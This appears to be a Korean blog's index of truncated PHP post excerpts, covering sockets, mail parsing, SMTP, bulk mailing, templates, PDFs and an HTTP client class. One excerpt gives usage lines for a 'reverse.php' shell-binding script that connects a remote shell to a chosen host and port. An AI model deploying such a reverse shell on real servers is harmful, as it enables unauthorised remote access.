서버에 업로드 되는 동영상을 구분 또는 영상의 내용을 확인하기 위하여, 영상의 스틸 이미지 저장이 필요하게 되었음. 조건 - OS : Linux - Language : PHP - 동영상 코덱 : AVI / MPG 검색해 보니, ffmpeg 라는 동영상 변환 Open-Source 가 있었음. FFMPEG - http://ffmpeg-php.sourceforge.net Features •Simple object oriented interface. •Ability to grab frames from movie files and return them as images that can be manipulated using PHP's built-in image functions. This is great for a..
1 http://www.phpclasses.org/package/6055-PHP-Draw-images-defined-with-CSS-like-properties.html Image Processor (CSS) Draw images defined with CSS like properties 2 http://www.phpclasses.org/package/1732-PHP-Render-schedule-time-tables-from-XML-definitions.html Schedule Render schedule time tables from XML definitions 3 http://www.phpclasses.org/package/2601-PHP-Generate-bar-charts-with-only-HTML..
구성해 나갈 PHP 예제는 PHP5를 기준으로 작성하고자 합니다. 곧 PHP6가 나온다는 말이 있는데, 일단 PHP5로 작성해 보고 나중에 PHP6가 나오면 어떤 차이점이 있는지 찾아보도록 하겠습니다. 예제를 구성해 나가는데 있어서, 주의점이 있습니다. 많은 부분 순수한 PHP가 아닌 Java에서 개념을 차용해 왔습니다. 왜냐면 이미 Java에서는 보편적인 개념들이 이번 PHP5 클래스와 오브젝트에 적용될 수 있다고 생각되었습니다. 그래서, 최대한 Java에 적용되는 개념을 동원해서 PHP 예제를 구성해 보고자 합니다. 기본 문법 설명 1. 주석 주석은 파일의 내용을 설명하거나, 함수의 용도를 설명하거나 필요에 따라서 유지보수 차원에서 기록하는 문장입니다. 이번에 사용할 주석은 크게 2가지로서 다음과 같..
/*+-----------------------------------+ | PHP + PERL Shell Binding | | | +-----------------------------------+ 1. reverse.php (host default : $_SERVER[REMOTE_ADDR]) >>> http://xxxxxx.com/reverse.php?port=5555 >>> Connected >>> xxx.xxx.xxx.xxx:5555 or >>> http://xxxxxx.com/reverse.php?host=xxx.xxx.xxx.xxx&port=5555 >..
PHP로 소켓 서버 작성하기 PHP로 소켓 서버 작성하기 작성자 김영진(cogolda@hanmail.net) 대상 독자 요구사항 1 개요 - 소켓 서버란 무엇인가? 1.1 소켓의 형태 2 PHP 소켓 함수 2.1 PHP에서 소켓 만들기 2.2 실용 서버 만들기 2.3 실용적인 예 2.4 보안 가능한 기능 추가와 확장 저자에 관해 알아두기 이 자료는 http://www.zend.com/zend/tut/tutorial-staub3.php/에 있는 Writing Socket Servers in PHP를 제가 허접번역 및 내용을 추가 및 생략한 것입니다. 이미 다 아시는 내용 이시겠지만, 이해해 주시면 감사하겠습니다. 질문이나 번역을 바라는 주제가 있으시면, 이메일 또는 코멘트를 이용해 주세요. 참고로 전 영어..
공유 메모리 제어에 관한 함수 정리 1) 공유 메모리 생성 int shm_attach ( int key [, int memsize [, int perm]]) 공유 메모리 세그먼트를 열거나 생성한다. ex) shm_attach($chat, 1024, 0777); 매개변수 설명 (공유메모리의 키 값, 공유메모리의 사이즈(sysvshm.init_mem), 퍼미션 임의값 0666:8진수) 2) 공유 메모리 종료 int shm_detach ( int shm_identifier) 공유 메모리 세그먼트 접속을 종료. Unix 시스템에서의 공유메모리는 종료 후에도 여전히 존재한다. :( 3) 공유 메모리 삭제 int shm_remove ( int shm_identifier) 위에서 말했듯이 Unix 시스템에서는 종료 ..
메일을 PHP로 받아서 파싱하기 [포인트] sendmail 의 alias 기능을 이용해서 PHP 쉘 스크립트를 구동시킨다. (다른 모든 메일서버에서도 비슷한 방법으로 사용이 가능하다.) [준비사항] 1. sendmail 의 환결설정 파일에서 프로그램실행이 가능하도록 수정한다. 2. 특정한 이메일 아이디를 하나 선택한다. [/etc/sendmail.cf 파일수정] 맨 아랫줄에 보면 아래와 같은 구문이 있다.. 대충 아래와 같이 수정한다. Mprog, P=/bin/sh, ……… T=X-Unix/X-Unix/X-Unix, A=/bin/sh -c $u [/etc/aliases 에 계정추가] # PHP Mailer phpmailer: |/root/phpmailer.php [/root/phpmailer.php 파일..
class Smtp { var $host; var $fp; var $self; var $lastmsg; var $parts; var $error; var $debug; var $charset; var $ctype; function Smtp($host="localhost") { if($host == "self") $this->self = true; else $this->host = $host; $this->parts = array(); $this->error = array(); $$this->debug = 0; $this->charset = "euc-..
대용량 메일링 sendmail+PHP4.2 CLI mass large mailing sendmail PHP 별도 메일 서버 구축으로 하루 10-20 만개 이상 메일 보내기 ram: 512 or 1G 정도 CPU: 팬4 1G 정도 PHP버전: 4.2.x 이상 Sendmail 버전: 8.12.x 이상 파일시스템: 저널링(ext3 or 다른것들 ) ================================================= # php -q mail_sender1.php 1h1]@Z ... Invalid route address Syntax error in mailbox address "cccvcc@??????.com" (non-printable character) Syntax error in ma..
http://smarty.co.kr/man/kr/index.html Smarty - the compiling PHP template engine Monte Ohrt Andrei Zmievski Sejin Choi Copyright © 2001, 2002 by ispi of Lincoln, Inc. 목차 서문 I. 시작하며 1. Smarty란 무엇인가? 2. 설치 설치 요구사항 기본 설치 추가 설치 II. 디자이너를 위한 Smarty 3. 기본 문법 주석 기능 속성 따옴표안에 변수추가 4. 변수 PHP에서 변수 지정 설정 파일에서 변수 불러오기 {$smarty} 예약변수 5. 변수 수정자 capitalize count_characters cat count_paragraphs count_sentences c..
예전에 nzeo.com (제로보드사이트)의 웹스터디 PHP 게시판에 올렸던 글과 코멘트에 덧붙였던 내용을 같이 잘 조합해서 올려봅니다..; 아시는 내용이라면 모르시는 분들을 위해서 패스~ 수정 사항이나 추가 사항있으면 코멘트 때려주세요;; ------------------------------------------------------------------------------------------------------------------------ 웹사이트 성능에 큰 영향을 주는 부분은 대개 부적절한 혹은 최적화되지 않은 데이터베이스 쿼리문에 있습니다. 하지만 데이터베이스 쿼리문이 최적화되었더라도 PHP 프로그램내에서의 간단한 몇가지 수정으로도 좀더 성능 개선을 할 수 있습니다. 해외 PHP관련 컨퍼..
이 섹션은 PHP스크립트를 작성할때 직면할수 있는 매우 일반적인 에러를 정리했습니다. 1. 폼으로부터 데이터를 제어할수 있는 PHP스크립트를 작성하려합니다. POST 메쏘드에서 사용가능한 변수를 알 수 있을까요? 2. 작은따옴표(')에 역슬래쉬를 앞에(\') 붙여줄 필요가 있습니다. 이와 같은 일은 어떻게 정규표현식(regular expression)으로 처리할수 있을까요? 그리고 "를 \"로, \를 \\로 변환하고 싶습니다. 3. All my " turn into \" and my ' turn into \', how do I get rid of all these unwanted backslashes? How and why did they get there? "은 \"으로, '는 \'으로 변경이 되어있습..
PHP에서 PDF 만들기에 대한 생각. 이문제로 거의 2주일이라는 시간을 허비했다. 젠장.-.-; 시간이 너무 아깝기도 하고 새로운 경험을 하여서 괜찮다고 생각도 하고... 여튼 일단 내가 실제 구현한방법은 순수 php로만 구현을 하지 못했다. 이유가 좀 많지만 다른 누군가가 이런 일을 맏아서 하게 되면 참고가 될까 해서 몇자 적어볼까한다. 순수 php로만 pdf 및 리포팅을 구현 못하게 된이유가 세밀한 디자인폼과, 한글이 문제가 되었다. 일단 세밀한 디자인이 되는가 싶으면(당근 노가다성이다.) 한글이 안되고 한글이 된다 싶으면 세밀한 디자인이 안되고.... 결국 여기저기 다 찾아봐도 시간만가고 얻는 소득은 없고 해서 2주를 버렸다. 내가 했던 플랫폼을 간단히 적으면 iis 서버, php5, Ms Sql..
/******************************************************************************Program: waterMark.phpDescription : 서비스 이미지에 워터마크 적용하기Author : Ryu Jee HyoungCreateDate : 2007.01.18CopyRight : Copyright(c) 청명공자 All Right Reserved.UpdateDate :Todo : 워터마크가 적용되도록 이미지 URL 변경 - 사용법 > $img_url = http://localhost/images/test.jpg; > $img_url = waterMark($img_url); > echo $img_url;*********..
먼저 mysql은 index 필드들을 따로 모아 놓기 때문에 이런방식을 이용해서 쿼리를 날리면 속도를 향상 시킬 수 있습니다. 공지 사항 게시판을 만든다고 가정하겠습니다. Table Name : bbs_notice 필요한 예제 필드목록 uid : int 고유번호 자동증가 muid : int 회원고유번호 name : varchar 이름 email : varchar 이메일 subject : varchar 제목 ip : varchar IP주소 contents: text 내용 homepage: varchar 홈페이지 주소 singdate: datetime 등록일 위와 같은 정보들이 필요하다면 먼저 테이블을 2개로 나눕니다. 데이타형 테이블 2개 생성 ■ bbs_notice // 테이타 형 : 테이블 1 uid,..
PHP를 이용한 다중 연결 소켓 통신 (1) 이진우 프리랜서 프로그래머 차례 1. 소개 1.1. PHP 컴파일 하기 1.2. PHP의 소켓 함수 2. 소켓 서버 만들기 3. 소켓 클라이언트 만들기 와 실행 4. 결론 이문서의 배포는 자유로우나 최소한 제작자의 정보는 제외하지 않고 배포해 주세요. 문서가 존재하는 모든곳에 답변을 드릴수 없으므로 질문은 홈페이지(http://www.jinoos.com)에서만 받습니다. 1. 소개 앞으로 몇번에 걸처서 PHP를 이용한 다중 연결 소켓 통신에 대해서 알아보겠습니다. PHP는 확장 함수로 socket 계열 함수를 지원합니다. 하지만 이것은 컴파일시 --with-socket 옵션을 주어 컴파일 해야 합니다. 클라이언트 소켓에 관한 함수 fsockopen()는 이곳에..
PHP를 이용한 다중 연결 소켓 통신 (2) 이진우 프리랜서 프로그래머 차례 1. 소개 2. pcntl_fork() 함수 3. PHP 컴파일 하기 4. 프로그램 작성 4.1. 서버 만들기 4.2. 클라이언트 만들기 4.3. 실행하기 5. 결론 이문서의 배포는 자유로우나 최소한 제작자의 정보는 제외하지 않고 배포해 주세요. 문서가 존재하는 모든곳에 답변을 드릴수 없으므로 질문은 홈페이지(http://www.jinoos.com)에서만 받습니다. 1. 소개 이번강좌에는 fork를 이용해서 새로운 프로세스를 생성하여 생성된 자식 서버프로세스가 클라이언트를 담당하는 형태를 구연해 보겠습니다. PHP에서 fork함수로는 Process Control 함수의 pcntl_fork() 함수가 있습니다. Process Co..
cookies array ready for the next request // Note: This currently ignores the cookie path (and time) completely. Time is not important, // but path could possibly lead to security problems. var $persist_referers = true; // For each request, sends path of last request as referer var $debug = false; var $handle_redire..
HttpClient Examples HttpClient Home | Download HttpClient (txt) | HttpClient Manual | HttpClient Demo Grabbing an HTML page (static method)$pageContents = HttpClient::quickGet('http://example.com/'); Posting a form and grabbing the response (static method)$pageContents = HttpClient::quickPost('http://example.com/someForm', array( 'name' => 'Some Name', 'email' => 'email@example.com' )); The stat..
This demo (which may take a few seconds to load) attempts to retrieves the front page of Amazon.com and reports its size in bytes. Debug mode is switched on to show what the script is doing. This demonstrates the script automatically following redirections and maintaining cookies and referrers between sessions.$client = new HttpClient('www.amazon.com'); $client->setDebug(true); if (!$client->get..
- Total
- Today
- Yesterday